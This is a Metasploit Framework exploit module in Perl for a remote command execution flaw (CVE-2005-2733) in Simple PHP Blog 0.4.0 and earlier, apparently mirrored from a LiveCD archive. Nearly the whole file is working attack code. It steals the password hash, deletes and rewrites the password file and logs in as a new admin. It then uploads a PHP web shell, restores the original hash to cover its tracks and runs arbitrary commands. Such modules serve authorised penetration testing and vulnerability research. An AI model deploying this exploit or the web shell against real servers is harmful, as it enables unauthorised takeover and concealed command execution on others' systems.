home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / sphpblog_file_upload.pm < prev    next >
Text File  |  2006-06-30  |  14KB  |  509 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::sphpblog_file_upload;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14. use bytes;
  15.  
  16. my $advanced = { };
  17.  
  18. my $info = {
  19.     'Name'     => 'Simple PHP Blog remote command execution',
  20.     'Version'  => '$Revision: 1.3 $',
  21.     'Authors'  => [ 'Matteo Cantoni <goony@nothink.org>' ],
  22.     'Arch'     => [ ],
  23.     'OS'       => [ ],
  24.     'Priv'     => 0,
  25.     'UserOpts' =>
  26.       {
  27.         'RHOST' => [1, 'ADDR', 'The target address'],
  28.         'RPORT' => [1, 'PORT', 'The target port', 80],
  29.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  30.         'DIR'   => [1, 'DATA', 'Sphpblog directory path', '/sphpblog'],
  31.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  32.       },
  33.  
  34.     'Description' => Pex::Text::Freeform(qq{
  35.         The Simple PHP Blog (<= 0.4.0) application has two vulnerabilities present within
  36.         it that when used together, can allow an attacker to arbitrarily upload
  37.         files to the server. The first vulnerability has to do with insecure
  38.         default file permissions and placement of config.txt and password.txt,
  39.         and leaves both files fully accessible to unauthorized users.
  40.  
  41.         The second of the two vulnerabilities lies within the image upload
  42.         system provided to (il?)legitimate, logged-in users. There is no image
  43.         validation function in the blogger to stop an unauthorized user from
  44.         uploading any file they want to to the server.
  45.  
  46.         Note: module based on "http://www.milw0rm.com/exploits/download/1191" script by Kenneth Belva.
  47. }),
  48.  
  49.     'Refs' =>
  50.       [
  51.         ['OSVDB', '19011'],
  52.         ['BID', '14667'],
  53.         ['CVE', '2005-2733'],
  54.         ['URL', 'http://www.xorcrew.net/xpa/XPA-SimplePHPBlog.txt'],
  55.         ['URL', 'http://www.milw0rm.com/exploits/1191'],
  56.       ],
  57.  
  58.     'Payload' =>
  59.       {
  60.         'Space' => 512,
  61.         'Keys'  => ['cmd'],
  62.       },
  63.  
  64.     'Keys' => ['simple php blog'],
  65.  
  66.     'DisclosureDate' => 'August 25 2005',
  67.   };
  68.  
  69. sub new{
  70.     my $class = shift;
  71.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  72.     return($self);
  73. }
  74.  
  75. sub Check{
  76.  
  77.     my $self = shift;
  78.     my $target_host    = $self->VHost;
  79.     my $target_port    = $self->GetVar('RPORT');
  80.     my $dir            = $self->GetVar('DIR');
  81.  
  82.     my $url = "http://$target_host$dir/index.php";
  83.  
  84.     my $request =
  85.       "GET $url HTTP/1.1\r\n".
  86.       "Host: $target_host:$target_port\r\n".
  87.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  88.       "Connection: close\r\n".
  89.       "\r\n";
  90.  
  91.     my $s = Msf::Socket::Tcp->new(
  92.         'PeerAddr' => $target_host,
  93.         'PeerPort' => $target_port,
  94.         'SSL'      => $self->GetVar('SSL'),
  95.       );
  96.  
  97.     if ($s->IsError){
  98.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  99.         return;
  100.     }
  101.  
  102.     $s->Send($request);
  103.  
  104.     my $results = $s->Recv(-1, 10);
  105.  
  106.     $s->Close();
  107.  
  108.     if ($results =~ m/Simple PHP Blog (\d.\d.\d)/sm){
  109.         my ($ver,$ver1,$ver2) = split(/\./,$1);
  110.  
  111.         if ($ver == 0){
  112.             if ($ver1 < 5){
  113.                 if($ver2 > 0){
  114.                     if ($ver1 < 5){
  115.                         $self->PrintLine("[*] Simple PHP Blog appears to be vulnerable. (version $ver.$ver1.$ver2)");
  116.                     } else{
  117.                         $self->PrintLine("[*] Simple PHP Blog does not appear to be vulnerable. (version $ver.$ver1.$ver2)");
  118.                     }
  119.                 } else{
  120.                     $self->PrintLine("[*] Simple PHP Blog appears to be vulnerable. (version $ver.$ver1.$ver2)");
  121.                 }
  122.             } else{
  123.                 $self->PrintLine("[*] Simple PHP Blog does not appear to be vulnerable. (version $ver.$ver1.$ver2)");
  124.             }
  125.         } else{
  126.             $self->PrintLine("[*] Simple PHP Blog does not appear to be vulnerable. (version $ver.$ver1.$ver2)");
  127.         }
  128.     }
  129. }
  130.  
  131. sub Exploit{
  132.     my $self = shift;
  133.     my $target_host    = $self->VHost;
  134.     my $target_port    = $self->GetVar('RPORT');
  135.     my $dir            = $self->GetVar('DIR');
  136.     my $encodedPayload = $self->GetVar('EncodedPayload');
  137.     my $cmd            = $encodedPayload->RawPayload;
  138.  
  139.     $cmd = Pex::Text::URLEncode($cmd);
  140.  
  141.     my ($user,$pass)   = "test";
  142.  
  143.     my $hash = $self->retrieve_password_hash($dir,$target_host,$target_port);
  144.     $self->delete_password_file($dir,$target_host,$target_port);
  145.     $self->create_new_password($user,$pass,$dir,$target_host,$target_port);
  146.     my $session = $self->retrieve_session($user,$pass,$dir,$target_host,$target_port);
  147.     $self->upload_cmd_page($session,$user,$pass,$dir,$target_host,$target_port);
  148.     $self->reset_original_password($hash,$dir,$target_host,$target_port);
  149.     $self->delete_reset_page($dir,$target_host,$target_port);
  150.     $self->cmd_shell($cmd,$dir,$target_host,$target_port);
  151.     return;
  152. }
  153.  
  154. sub retrieve_password_hash{
  155.  
  156.     my ($self,$dir,$target_host,$target_port) = @_;
  157.     my $url = "$dir/config/password.txt";
  158.  
  159.     my $request =
  160.       "GET $url HTTP/1.1\r\n".
  161.       "Host: $target_host:$target_port\r\n".
  162.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  163.       "Connection: close\r\n".
  164.       "\r\n";
  165.  
  166.     my $s = Msf::Socket::Tcp->new(
  167.         'PeerAddr' => $target_host,
  168.         'PeerPort' => $target_port,
  169.         'SSL'      => $self->GetVar('SSL'),
  170.       );
  171.  
  172.     if ($s->IsError){
  173.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  174.         return;
  175.     }
  176.  
  177.     $self->PrintLine("[*] Establishing a connection to the target...");
  178.  
  179.     $s->Send($request);
  180.  
  181.     my $results = $s->Recv(-1, 10);
  182.     my @results = split(/\r/, $results);
  183.  
  184.     $s->Close();
  185.  
  186.     my $hash;
  187.     if (grep(/^HTTP\/1.1 200 OK/, @results)){
  188.         $hash = $results[10];
  189.         my $hash_length = length($hash);
  190.         $self->PrintLine("[*] Retrieved username and password hash...");
  191.         return $hash;
  192.     } else {
  193.         $self->PrintLine("[*] Error to retrieve username and password hash...");
  194.     }
  195. }
  196.  
  197. sub delete_password_file{
  198.  
  199.     my ($self,$dir,$target_host,$target_port) = @_;
  200.     my $url = "$dir/comment_delete_cgi.php?y=05&m=08&comment=./config/password.txt";
  201.  
  202.     my $request =
  203.       "GET $url HTTP/1.1\r\n".
  204.       "Host: $target_host:$target_port\r\n".
  205.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  206.       "Connection: Close\r\n".
  207.       "\r\n";
  208.  
  209.     my $s = Msf::Socket::Tcp->new(
  210.         'PeerAddr' => $target_host,
  211.         'PeerPort' => $target_port,
  212.         'SSL'      => $self->GetVar('SSL'),
  213.       );
  214.  
  215.     if ($s->IsError){
  216.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  217.         return;
  218.     }
  219.  
  220.     $s->Send($request);
  221.  
  222.     my $results = $s->Recv(-1, 20);
  223.     my @results = split(/\r/, $results);
  224.  
  225.     $s->Close();
  226.  
  227.     if (grep(/^HTTP\/1.1 302 Found/, @results)){
  228.         $self->PrintLine("[*] Deleted password file...");
  229.     } else {
  230.         $self->PrintLine("[*] Error to delete password file...");
  231.     }
  232. }
  233.  
  234. sub create_new_password{
  235.  
  236.     my ($self,$user,$pass,$dir,$target_host,$target_port) = @_;
  237.     my $url = "$dir/install03_cgi.php?blog_language=english";
  238.  
  239.     my $packet = "user=$user&pass=$pass&submit=\%C2\%A0Submit\%C2\%A0";
  240.     my $packet_length = length($packet);
  241.  
  242.     my $request_newpass =
  243.       "POST $url HTTP/1.1\r\n".
  244.       "Host: $target_host:$target_port\r\n".
  245.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  246.       "Connection: Close\r\n".
  247.       "Content-Type: application/x-www-form-urlencoded\r\n".
  248.       "Content-Length: $packet_length\r\n\r\n".
  249.       "$packet\r\n".
  250.       "\r\n";
  251.  
  252.     my $s = Msf::Socket::Tcp->new(
  253.         'PeerAddr' => $target_host,
  254.         'PeerPort' => $target_port,
  255.         'SSL'      => $self->GetVar('SSL'),
  256.       );
  257.  
  258.     if ($s->IsError){
  259.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  260.         return;
  261.     }
  262.  
  263.     $s->Send($request_newpass);
  264.  
  265.     my $results = $s->Recv(-1, 20);
  266.     my @results = split(/\r/, $results);
  267.  
  268.     $s->Close();
  269.  
  270.     if (grep(/^HTTP\/1.1 200 OK/, @results)){
  271.         $self->PrintLine("[*] Modified password file...");
  272.     } else {
  273.         $self->PrintLine("[*] Error to modify password file...");
  274.     }
  275. }
  276.  
  277. sub retrieve_session{
  278.  
  279.     my ($self,$user,$pass,$dir,$target_host,$target_port) = @_;
  280.     my $url = "$dir/login_cgi.php";
  281.  
  282.     my $packet = "user=$user&pass=$pass&submit=\%C2\%A0Submit\%C2\%A0";
  283.     my $packet_length = length($packet);
  284.  
  285.     my $request =
  286.       "POST $url HTTP/1.1\r\n".
  287.       "Host: $target_host:$target_port\r\n".
  288.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  289.       "Connection: Close\r\n".
  290.       "Content-Type: application/x-www-form-urlencoded\r\n".
  291.       "Content-Length: $packet_length\r\n\r\n".
  292.       "$packet\r\n".
  293.       "\r\n";
  294.  
  295.     my $s = Msf::Socket::Tcp->new(
  296.         'PeerAddr' => $target_host,
  297.         'PeerPort' => $target_port,
  298.         'SSL'      => $self->GetVar('SSL'),
  299.       );
  300.  
  301.     if ($s->IsError){
  302.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  303.         return;
  304.     }
  305.  
  306.     $s->Send($request);
  307.  
  308.     my $results = $s->Recv(-1, 20);
  309.     my @results = split(/\n/, $results);
  310.  
  311.     $s->Close();
  312.  
  313.     if (grep(/^HTTP\/1.1 200 OK/, @results)){
  314.         $self->PrintLine("[*] Logged into Simple PHP Blog...");
  315.  
  316.         my $setcookie;
  317.         foreach(@results){
  318.             if ($_ =~ /^Set-Cookie: my_id=/){
  319.                 (undef,$setcookie) = split(/=/, $_);
  320.  
  321.                 for ($setcookie) { s/^\r//; s/\r$//; }
  322.                 for ($setcookie) { s/^\n//; s/\n$//; }
  323.  
  324.                 return $setcookie;
  325.                 $self->PrintLine("[*] Retrieved cookie... : $setcookie");
  326.             }
  327.         }
  328.     } else {
  329.         $self->PrintLine("[*] Error to login into Simple PHP Blog!");
  330.     }
  331. }
  332.  
  333. sub upload_cmd_page{
  334.  
  335.     my ($self,$session,$user,$pass,$dir,$target_host,$target_port) = @_;
  336.     my $url = "$dir/upload_img_cgi.php";
  337.  
  338.     my %packets = (
  339.         'cmd.php'   => "--xYzZY\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"cmd.php\"\r\nContent-Type: text/plain\r\n\r\n".
  340.           "<?php \$cmd = \$_GET['cmd']; echo '<hr><pre>'; echo 'Command: '.\$cmd;echo '</pre><hr><br>';echo '<pre>'; \$last_line = system(\$cmd,\$output);".
  341.           "echo '</pre><br><hr/>'; ?>\r\n--xYzZY--",
  342.         'reset.php' => "--xYzZY\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"reset.php\"\r\nContent-Type: text/plain\r\n\r\n".
  343.           "<?php \$hash = \$_POST['hash']; \$fp = fopen(\"../config/password.txt\",\"w\");fwrite(\$fp,\$hash); fpclose(\$fp); ?>\r\n--xYzZY--"
  344.       );
  345.  
  346.     my @phpfiles = ("cmd.php","reset.php");
  347.  
  348.     foreach my $phpfile(@phpfiles){
  349.  
  350.         my $packet = $packets{$phpfile};
  351.         my $packet_length = length($packet);
  352.  
  353.         my $request =
  354.           "POST $url HTTP/1.1\r\n".
  355.           "Host: $target_host:$target_port\r\n".
  356.           "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  357.           "Connection: Close\r\n".
  358.           "Content-Length: $packet_length\r\n".
  359.           "Content-Type: multipart/form-data; boundary=xYzZY\r\n".
  360.           "Cookie: PHPSESSID=$session; my_id=$session\r\n\r\n".
  361.           "$packet\r\n".
  362.           "\r\n";
  363.  
  364.         my $s = Msf::Socket::Tcp->new(
  365.             'PeerAddr' => $target_host,
  366.             'PeerPort' => $target_port,
  367.             'SSL'      => $self->GetVar('SSL'),
  368.           );
  369.  
  370.         if ($s->IsError){
  371.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  372.             return;
  373.         }
  374.  
  375.         $s->Send($request);
  376.  
  377.         my $results = $s->Recv(-1, 20);
  378.         my @results = split(/\r/, $results);
  379.  
  380.         $s->Close();
  381.  
  382.         if (grep(/^HTTP\/1.1 302 Found/, @results)){
  383.             $self->PrintLine("[*] Upload $phpfile script on target...");
  384.             $self->PrintLine("[*] To run command please go to http://$target_host$dir/images/cmd.php?cmd=[your command]") if ($phpfile =~ 'cmd.php');
  385.         } else {
  386.             $self->PrintLine("[*] Error to upload $phpfile script on target...");
  387.         }
  388.     }
  389. }
  390.  
  391. sub reset_original_password{
  392.  
  393.     my ($self,$hash,$dir,$target_host,$target_port) = @_;
  394.     my $url = "$dir/images/reset.php";
  395.  
  396.     for ($hash) { s/^\n//; s/\n$//; }
  397.  
  398.     my $request =
  399.       "POST $url HTTP/1.1\r\n".
  400.       "Host: $target_host:$target_port\r\n".
  401.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  402.       "Connection: Close\r\n".
  403.       "Content-Length: 45\r\n".
  404.       "Content-Type: application/x-www-form-urlencoded\r\n\r\n".
  405.       "hash=$hash";
  406.  
  407.     my $s = Msf::Socket::Tcp->new(
  408.         'PeerAddr' => $target_host,
  409.         'PeerPort' => $target_port,
  410.         'SSL'      => $self->GetVar('SSL'),
  411.       );
  412.  
  413.     if ($s->IsError){
  414.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  415.         return;
  416.     }
  417.  
  418.     $s->Send($request);
  419.     $s->Close();
  420.  
  421.     $self->PrintLine("[*] Reset original password...");
  422. }
  423.  
  424. sub delete_reset_page{
  425.  
  426.     my ($self,$dir,$target_host,$target_port) = @_;
  427.     my $url = "$dir/comment_delete_cgi.php?y=05&m=08&comment=./images/reset.php";
  428.  
  429.     my $request =
  430.       "GET $url HTTP/1.1\r\n".
  431.       "Accept: */*\r\n".
  432.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  433.       "Host: $target_host:$target_port\r\n".
  434.       "Connection: Close\r\n".
  435.       "\r\n";
  436.  
  437.     my $s = Msf::Socket::Tcp->new(
  438.         'PeerAddr' => $target_host,
  439.         'PeerPort' => $target_port,
  440.         'SSL'      => $self->GetVar('SSL'),
  441.       );
  442.  
  443.     if ($s->IsError){
  444.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  445.         return;
  446.     }
  447.  
  448.     $s->Send($request);
  449.  
  450.     my $results = $s->Recv(-1, 20);
  451.     my @results = split(/\r/, $results);
  452.  
  453.     $s->Close();
  454.  
  455.     if (grep(/^HTTP\/1.1 302 Found/, @results)){
  456.         $self->PrintLine("[*] Removed reset.php from target host...");
  457.     } else {
  458.         $self->PrintLine("[*] Error to removed reset.php from target host...");
  459.     }
  460. }
  461.  
  462. sub cmd_shell{
  463.  
  464.     my ($self,$cmd,$dir,$target_host,$target_port) = @_;
  465.     my $url = "$dir/images/cmd.php?cmd=$cmd";
  466.  
  467.     my $request =
  468.       "GET $url HTTP/1.1\r\n".
  469.       "Accept: */*\r\n".
  470.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  471.       "Host: $target_host:$target_port\r\n".
  472.       "Connection: Close\r\n".
  473.       "\r\n";
  474.  
  475.     my $s = Msf::Socket::Tcp->new(
  476.         'PeerAddr' => $target_host,
  477.         'PeerPort' => $target_port,
  478.         'SSL'      => $self->GetVar('SSL'),
  479.       );
  480.  
  481.     if ($s->IsError){
  482.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  483.         return;
  484.     }
  485.  
  486.     $s->Send($request);
  487.  
  488.     my $results = $s->Recv(-1, 20);
  489.  
  490.     $s->Close();
  491.  
  492.     if ($results =~ /HTTP\/1.1 200 OK/){
  493.         my (undef,$res) = split(/<br><pre>/, $results);
  494.         my ($res2,undef) = split(/<\/pre><br>/, $res);
  495.         $self->PrintLine("[*] Run command '$cmd'...");
  496.         print "\n$res2\n";
  497.     } else{
  498.         $self->PrintLine("[*] Error to run command...");
  499.     }
  500. }
  501.  
  502. sub VHost{
  503.     my $self = shift;
  504.     my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
  505.     return $name;
  506. }
  507.  
  508. 1;
  509.